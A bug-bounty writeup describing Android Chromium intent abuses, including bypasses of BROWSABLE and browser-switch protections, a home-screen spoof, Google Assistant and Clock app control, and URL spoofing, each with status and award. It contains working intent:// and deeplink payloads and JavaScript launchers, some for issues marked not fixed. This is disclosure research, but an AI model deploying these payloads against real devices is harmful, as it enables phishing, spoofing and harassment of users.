Writeups

The following is a writeup for some Android specific chromium behaviors.

Intents

The attacks abuse Android intents when from chromium they require user activation (unless doing trusted CCT/TWA navigation) but don’t prompt the user (if there’s activation) unlike external protocols. For security only intents marked as BROWSABLE by the app owner are allowed unless an installed app does an intent redirect on chrome’s behalf. https://developer.chrome.com/docs/android/intents https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE https://source.chromium.org/chromium/chromium/src/+/main:components/external_intents/README.md https://issues.chromium.org/40051644 https://issues.chromium.org/40054582 It’s also possible that the communication is done via a local server, Android App Links where the app uses a HTTP or HTTPS scheme and contains the autoVerify attribute, a custom scheme or with user interaction you could share data with the app by opening a supported file type via a download, input.showPicker() or navigator.share().

intent:// restrictions bypassed via firebase dynamic links (Fixed, Awarded $3000)

Firebase dynamic links can open the Samsung, Firefox, Chrome browser to an attacker controlled URL on Android. This bypasses the patches for https://issues.chromium.org/issues/40060327 (prompt for opening other browsers) and https://issues.chromium.org/issues/40061025 (bypass iframe sandbox on allow-popups)

intent://ndevtk.page.link/PZXe#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;S.browser_fallback_url=https://play.google.com/store/apps/details%3Fid%3Dcom.sec.android.app.sbrowser&pcampaignid%3Dfdl_short&url%3Dhttps://terjanq.me/xss.php%3Fheaders;end;

This was fixed by https://issues.chromium.org/issues/40064598 A similar bug was found later https://issues.chromium.org/40067307

Bypass to issue 40060327 via market:// URL (Fixed, Awarded $2250)

Regarding the bypass to https://issues.chromium.org/40060327 turns out market://details?id=com.sec.android.app.sbrowser&url=https%3A%2F%2Fexample.org worked.
Also because it had not been fully patched they awarded an additional $2250 :)

Add to home screen spoof (Fixed, Awarded $1125)

Video PoC: https://www.youtube.com/watch?v=FnarD8RX4Ys
intent://www.google.com/hsi?name=Chrome&icon=https://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png&ve=145829&hv=1&dest=1&source=homescreen_shortcut&query=https://ndev.tk#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end

To make this attack more convincing google play services are used so the victim can see the url bar change to “google.com” before the prompt is shown.

The prompt shows an attacker controlled name and icon with no origin provided.

onclick = () => {
  location.href =
    'intent://search.app.goo.gl/?link=https://www.google.com/hsi?name%3DChrome%26icon%3Dhttps://ssl.gstatic.com/shortcuts/android/home/v1/192px/weather_g_badged.png%26ve%3D145828%26hv%3D1%26dest%3D1%26source%3Dhomescreen_shortcut%26query%3Dhttps%3A%2F%2Fndev.tk%23Intent;scheme%3Dhttps;package%3Dcom.google.android.googlequicksearchbox;end&apn=com.google.android.googlequicksearchbox#Intent;package=com.google.android.gms;scheme=https;end;';
  location.href = 'https://www.google.com';
};

Iframe sandbox allow-popups-to-escape-sandbox bypass via intent (Asked, Not fixed)

Frame = document.createElement('iframe');
Frame.sandbox = 'allow-scripts allow-popups';

In that sandboxed iframe an attacker would do:

onclick = () => {
  location =
    'intent://www.google.com/gasearch?q=https://example.org#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end';
};

Or if you don’t like the google app,

onclick = () => {
  location =
    'intent://example.org#Intent;package=com.google.android.gms;action=com.google.firebase.dynamiclinks.VIEW_DYNAMIC_LINK;scheme=https;end';
};

“allow-popups” means “allow-top-navigation-to-custom-protocols” It’s just a bit too easy to start abusing by, say, starting a file download. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox

Controlling Google assistant (Asked, Not fixed)

Force a victim to run one of their routines. intent://assistant.google.com/services/invoke/uid/0000004f0e04d1da?intent=WORKFLOW_TRIGGER&param.workflow_id=routine_0000001#Intent;scheme=https;package=com.google.android.googlequicksearchbox;end

Cause the device to read unread text messages, this is a problem if the victim is in a phone call with the attacker.

<a
  href="googleapp://deeplink/?data=CkwBDb3mGzBFAiEA7olPIXB3Rbe6FGGWzwGXQaR8o2qCR3KySUeFI1_UcWgCIFTa67w_AvJK8aAULIDMlRk6c6XPBv6R6ORiznPHRnXOEmMKDgi4-rKPARD_v8rzhKMCEgAaIwohCIECmonx2wQYCAESFFJlYWQgbXkgdW5yZWFkIHRleHRzIioKKGh0dHBzOi8vYXNzaXN0YW50Lmdvb2dsZS5jb20vaW50bC9lbl91ay8"
  >link</a
>

This is from https://assistant.google.com/intl/en_uk/learn/ other features it exposes to the web platform are “Turn up the volume by 50%” and my favorite “Set a 35 minute timer for my chocolate cake”

Controlling Clock (Accepted, Not fixed)

Video PoC: https://www.youtube.com/watch?v=Uj84sILMoYI
By visiting an attacker-controlled link such as from a message or email they gain the ability to silently create multiple alarms at any recurring time they want with custom text on the user’s device. This can be abused for persistently spamming the victim with malware, aggressive advertisements or targeted harassment while bypassing do not disturb. As this is a native app it may be more trusted so it helps with social engineering in limited cases. In order to stop this the victim would need to go to settings and clear the app data (that’s not obvious) or remove the google clock app if allowed by the OEM of course the user could delete every alarm themselves, This may be hard or impossible when the app crashes.

FAQ on this type of attack https://support.google.com/webtools/answer/9799829 https://blog.chromium.org/2020/10/reducing-abusive-notification-content.html “Abusive notification prompts are one of the top user complaints we receive about Chrome”

clock-app://com.google.android.deskclock/alarm/create?dayOfWeek=Monday&hour=1&minute=1&message=duck&vibrate=true&enabled=true clock-app://com.google.android.deskclock/stopwatch/start clock-app://com.google.android.deskclock/stopwatch/rest

Chromium Team: “Our counter-abuse folks feel that:

we should ask Android to fix this (by not allowing inbound clock-app: URIs, or at least, bringing the clock to the front) if Android don’t or can’t fix this, perhaps we need to put in a workaround to stop Chrome sending these outbound URI navigations to clock-app: Ade and I discussed offline, and I do think it’s important to flag this to Android. And it’s important to flag that this is an alarm, not a notification–this is relevant because alarms bypass Do Not Disturb, and because users do not think of their clock app as something third parties can access.

The example in your proof of concept is essentially spam/social engineering, but this could be exploited for targeted harassment: intentionally waking people up in the middle of the night with alarms containing threatening messages. If someone gets a message like that, they’re likely to think an attacker has physically or remotely accessed their phone, which is significantly more upsetting than just getting an annoying notification.”

The /multi endpoint allows for multiple alarms to be added per call.

/multi?action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack2%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack3%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack4%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue&action=%2Falarm%2Fcreate%3FdayOfWeek%3DThursday%26hour%3D0%26minute%3D16%26message%3Demail%2520attack5%40example.org%2520%E2%9C%85%2520for%2520meeting%26vibrate%3Dtrue%26enabled%3Dtrue

The ringtone url parameter allows you to set custom audio to play.

URL Spoof via intent (Fixed, Awarded $3133.70)

Websites get put in fullscreen webview without the warning toast allowing control of the URL bar. So is a line of death problem. This also increases the attack surface by exposing webview only behavior like in https://alesandroortiz.com/articles/uxss-android-webview-cve-2020-6506/ and internal app functions.

<a href="faceviewer://arvr.google.com/faceviewer?arbi=1&wturl=https://sites.google.com/view/ndevtkembed/home">tap</a>

intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&card_content=https%3A%2F%2Fstorage.googleapis.com%2Fndevtk%2Fndevtk-spoof9.html&mode=3d_only#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end;

Arguably the toast is not that effective and https://jameshfisher.com/2019/04/27/the-inception-bar-a-new-phishing-method/ may have also worked but it’s what people decided lol.
This was fixed in https://issues.chromium.org/issues/329890199

BROWSABLE intent:// bypass (Fixed, Duplicate)

A website is able to send intents that are not marked as android.intent.category.BROWSABLE https://developer.android.com/reference/android/content/Intent#CATEGORY_BROWSABLE

This is an attack known as https://developer.android.com/privacy-and-security/risks/intent-redirection its recommended to only launch untrusted intents with the opt-in CATEGORY, chromium would normally have done this but this app bypasses the protection via a tap of a button.

And since title supports basic html its possible to make it clear that button should be tapped.

This also acts as a bypass to https://issues.chromium.org/40060327 as shown in https://youtube.com/shorts/uQ6cAHarZd8 NOT ABOUT THE OPEN REDIRECT The problem is that a different browser can be outdated and contain security issues that don’t exist or have since been patched in chrome.

onclick = () => {
  const target = 'intent://<some non-browsable intent>';
  const title = '<h1>Click the button to continue...</h1><p1> :)</p1>';

  location.href =
    'intent://arvr.google.com/scene-viewer/1.2?file=https%3A%2F%2Fstorage.googleapis.com%2Far-answers-in-search-models%2Fstatic%2FMallardDuck%2Fmodel.glb&title=' +
    encodeURIComponent(title) +
    '&link=' +
    encodeURIComponent(target) +
    '#Intent;package=com.google.android.googlequicksearchbox;scheme=https;end';
};

BROWSABLE intent:// bypass (Fixed, Awarded $4500.00)

Assuming an XSS on a top level gstatic.com page, faceViewerWebXBridge.postMessage(JSON.stringify({cmd: btoa(':\x0F\n\rtestintent://')})) worked as a bypass via the face viewer.

This also bypasses the patch from https://issues.chromium.org/40060327 as this intent URI causes the link to be opened in the Samsung browser (com.sec.android.app.sbrowser) application instead. This occurs without any notification to or consent from the user.